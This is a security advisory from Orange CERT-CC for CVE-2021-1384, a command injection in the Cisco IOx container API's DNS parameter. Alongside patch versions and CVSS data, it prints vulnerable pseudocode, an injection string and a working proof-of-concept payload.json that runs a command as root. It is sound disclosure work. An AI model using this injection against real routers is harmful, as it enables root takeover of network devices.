Cisco IOx - Improper Neutralization of Special Elements used in a Command ('Command Injection') (CVE-2021-1384)

Moderate **orange-cert-cc** published **GHSA-h332-fj6p-2232** on Nov 16, 2021

Package

IOx (Cisco)

Affected versions	Patched versions
17.3.2	17.3.3

Description

Overview

IOx gives the ability to host containers on Cisco routers. Once enabled the router provides an API. This API allows to install, activate and start containers.
The activation step allows to specify parameters in order to customize the container deployment.
One of this parameter allows to configure a DNS.

Impact

A command injection is possible through this parameter resulting in arbitrary code execution as root on the router.

Detail

When a `dns` parameter is provided by the user, this parameter is concatenated to a shell command in order to set the `/etc/resolv.conf` within the container.

Here is the pseudocode:

```
def add_static_dns_entry(self, dns_entries=[]):
    try:
        if dns_entries:
            ...
                    if self.seclabel:
                        cmd = 'virsh -c lxc:/// lxc-enter-namespace %s /bin/sh -c \'/bin/echo -e "%s" >> /etc/resolv.conf\'' % (self.app_id, data)
                    else:
                        cmd = 'virsh -c lxc:/// lxc-enter-namespace %s --noseclabel /bin/sh -c \'/bin/echo -e "%s" >> /etc/resolv.conf\'' % (self.app_id, data)
                    try:
                        out_put, err, rcode = PipeCommand(cmd).run(capture=True, timeout=5, shell=True)
```

There is no sanitization on `dns` parameter. If a user provides the following value:

```
"'; <cmd> ;#
```

It results in the execution of `<cmd>` .

Proof of Concept

After installing `guestshell` . We can activate it with a crafted dns.
Here you can see the `payload.json` to provide at activation stage.

```
{
  "resources":
   {
   "network": [
     {
      "interface-name": "eth0",
      "ipv4":
       {
         "default": true,
         "gateway": "192.168.30.1",
         "ip": "192.168.30.2",
         "prefix": "29",
         "dns": "\"';id > /bootflash/cmdi_dns;#"
      },
      "mode": "static",
      "network-name": "mgmt-bridge200"
    }
    ]
  }
}
```

Then we can activate and start the container

```
./ioxclient app activate --payload payload.json guestshell
./ioxclient app start guestshell
```

When the deployment is over we can see the result of the `id` linux command in `/bootflash/cmdi_dns` :

```
NR-4221-3#term shell
NR-4221-3#cat bootflash:cmdi_dns
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_caf_t:s0
```

Solution

Security patch

Cisco fixed this vulnerability from:

- 16.6.9 and later
- 16.9.7 and later
- 17.3.3 and later
- 17.4.2 and later
- 17.5.1 and later

Workaround

There are no workarounds that address this vulnerability.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-cmdinj-RkSURGHG
https://nvd.nist.gov/vuln/detail/CVE-2021-1384

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: November 27, 2020
Date fixed: March 24, 2021

Severity

Moderate 6.5 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2021-1384

Weaknesses

CWE-77